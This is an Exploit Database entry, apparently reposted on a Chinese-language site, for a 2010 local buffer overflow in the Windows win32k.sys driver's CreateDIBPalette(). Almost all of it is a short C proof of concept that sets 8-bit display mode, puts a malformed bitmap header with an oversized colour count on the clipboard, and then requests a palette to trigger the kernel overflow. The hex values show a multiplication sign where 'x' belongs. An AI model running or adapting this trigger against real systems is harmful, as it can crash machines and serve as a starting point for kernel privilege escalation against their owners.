Microsoft Windows – ‘win32k.sys’ Driver ‘CreateDIBPalette()’ Local Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： Arkon
  日期： 2010-08-06
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14566/

• // source: http://www.ragestorm.net/blogs/?p=255
  // source: http://secunia.com/advisories/40870/
  
  DEVMODE dm = {0};
  dm.dmSize= sizeof(DEVMODE);
  dm.dmBitsPerPel = 8;
  dm.dmPelsWidth = 800;
  dm.dmPelsHeight = 600;
  dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
  ChangeDisplaySettings(&dm, 0);
  
  BITMAPINFOHEADER bmih = {0};
  bmih.biClrUsed = 0×200;
  
  HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
  memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
  GlobalUnlock(h);
  
  OpenClipboard(NULL);
  SetClipboardData(CF_DIBV5, (HANDLE)h);
  CloseClipboard();
  
  OpenClipboard(NULL);
  GetClipboardData(CF_PALETTE);